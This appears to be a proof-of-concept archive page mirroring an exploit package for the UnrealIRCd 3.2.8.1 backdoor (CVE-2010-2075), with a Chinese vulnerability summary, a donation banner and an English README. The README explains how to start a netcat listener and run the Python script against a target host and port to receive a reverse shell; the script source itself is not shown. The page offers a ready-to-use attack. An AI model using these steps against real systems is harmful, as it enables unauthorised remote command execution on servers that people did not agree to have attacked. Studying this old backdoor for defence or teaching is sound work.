Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2010-2075 PoC — UnrealIRCd 后门未授权访问漏洞

Source
Associated Vulnerability
Title:UnrealIRCd 后门未授权访问漏洞 (CVE-2010-2075)
Description:2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的修改(特洛伊木马),远程攻击者可执行任意命令。
Description
UnrealIRCd 3.2.8.1 backdoor command execution exploit in Python 3 (CVE-2010-2075).
Readme
# UnrealIRCd 3.2.8.1 Backdoor Command Execution
UnrealIRCd 3.2.8.1 backdoor command execution exploit in Python 3 (CVE-2010-2075).

# Description
[UnrealIRCd](https://www.unrealircd.org/) version 3.2.8.1 contains a trojan horse which allows remote attackers to execute arbitrary commands ([CVE-2010-2075](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2075)).

I referenced the Metasploit payload `payload/cmd/unix/reverse_perl` to make this script. 

# Usage
Start a Netcat listener on the listening host:
```
nc -lp 4444
```

Execute the script, providing the following positional arguments:
```
python3 script.py <target> <tport> <listener> <lport>
```
- `<target>` Target host IP address.
- `<tport>` Target host port number.
- `<listener>` Listening host IP address.
- `<lport>` Listening host port number.

# Example
Setup a Netcat listener on your local machine:
```
nc -lp 4444
```

Run the script against a target machine at `192.168.1.3` TCP port `6697`:
```
python3 script.py 192.168.1.3 6697 192.168.1.2 4444
```
Wait a minute and the Netcat listener should receive a reverse shell.
File Snapshot

[4.0K] /data/pocs/5affe9c036e33ca97c1f3199ce9239e1017258e9 ├── [1.1K] README.md └── [ 998] script.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.